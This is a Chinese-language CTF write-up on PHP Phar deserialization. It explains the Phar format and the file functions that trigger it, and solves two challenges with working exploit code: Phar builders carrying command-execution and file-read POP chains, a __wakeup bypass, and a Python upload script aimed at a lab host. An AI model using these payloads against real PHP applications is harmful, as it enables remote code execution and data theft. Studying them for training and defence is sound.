Phar是什么 Phar是一种文件打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。简单来说类似于ZIP和tar
Phar文件结构 1.stub文件标识
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.manifest (清单Phar里面内容信息)
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存(当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化)
3. contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.signature(签名)
phar的最后有一段signature,是phar的签名,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名。在文件系统函数(file_exists()、is_dir()等详见下表)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
Phar和Phar伪协议使用环境
php大于5.3.0
需要将php.ini的参数phar.readonly设置为off
如何生成一个Phar文件,下面是一个demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
Phar在CTF应用
反序列化。php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下
受影响函数的列表
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeab
parse_ini_file
copy
unlink
stat
readfile
以Newstar 2023 week5中 Unserialize Again举例如何在ctf反序列化中应用 题目具体函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );error_reporting (0 ); class story { private $user ='admin' ; public $pass ; public $eating ; public $God ='false' ; public function __wakeup ( ) { $this ->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag ; } } public function __construct ( ) { $this ->user='AshenOne' ; $this ->eating='fire' ; die (); } public function __tostring ( ) { return $this ->user.$this ->pass; } public function __invoke ( ) { if ($this ->user=='admin' &&$this ->pass=='admin' ){ echo $nothing ; } } public function __destruct ( ) { if ($this ->God=='true' &&$this ->user=='admin' ){ system ($this ->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET ['pear' ])&&isset ($_GET ['apple' ])){ $pear =$_GET ['pear' ]; $Adam =$_GET ['apple' ]; $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam ); }else { echo '多吃雪梨' ; }
接受两个参数,其次file_get_contents(‘php://input’)接受用户POST方式提交过来的参数,将POST提交过来的参数解码放到$pear里面
,其次file_exists这个函数是检测文件或目录是否存在,但是$Adam使用phar://伪协议读取phar文件的话,自动执行unserialize()
的操作没有依赖于unserialize()
这个函数,而且正好在上面提及到受影响的函数中,我们最终的目标是
接下来就是构造phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class story { private $user ='admin' ; public $pass ; public $eating ; public $God ; } $a =new story ();$a ->God=true ;$a ->eating='cat /f*' ;$phar = new Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
其次需要__wakeup()
因为__wakeup()
会比__destruct()
先执行
借助:属性个数不匹配(cve-2016-7124)来绕过
受影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
将4修改为5
注意:
接下来就是传数据了可以用python脚本,也可以直接传有点麻烦需要将phar文件内容经过url编码后,通过POST方式传过去最后GET传 ?pear=hacker1.phar&apple=phar://hacker1.phar 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import urllib.parseimport osimport requests url='http://83520740-e875-4e0e-904f-7dc11b8d2a3f.node5.buuoj.cn:81/' params={ 'pear' :'hacker1.phar' , 'apple' :'phar://hacker1.phar' }with open (r'22.phar' ,'rb' ) as fi: f = fi.read() ff=urllib.parse.quote(f) fin=requests.post(url=url+"pairing.php" ,data=ff,params=params) print (fin.text)
SWPU 2018-SimplePHP 考点:php反序列化+phar
给了三个文件class.php,file.php,upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } }class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } }class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } }?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ;error_reporting (0 );function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; }function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } }function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } }?>
快速介绍下:先上传文件在通过phar协议即可拿到flag,upload.php上传的文件(白名单)会经过修改名字,上传到upload的目录,平且后缀只为.jpg(文件名的话可以访问upload就可以现实文件名,文件名也可以自己算出来没懂为如何算),然后在file.php中用phar协议读取上传文件,关键在于如何在class.php构造pop链
快速接受pop链如何构成:
Test::file_get()<–Test::get()<–Test::__get()<–Show::__toString()
<–C1e4r::__destruct()
注意: 没想到phar协议可以解析.jpg后缀说明,phar不是通过后缀判断,可能是通过内容
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class C1e4r { public $test ; public $str ; }class Show { public $source ; public $str ; }class Test { public $file ; public $params ; } $a =new Test ;$a ->params=['source' =>'/var/www/html/f1ag.php' ];$b =new Show ;$b ->str['str' ]=$a ;$c =new C1e4r ;$c ->str=$b ;or $m =new C1e4r ();$m ->str=new Show ();$m ->str->str['str' ]=new Test ();$m ->str->str['str' ]->params["source" ]="/var/www/html/f1ag.php" ; $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($c ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();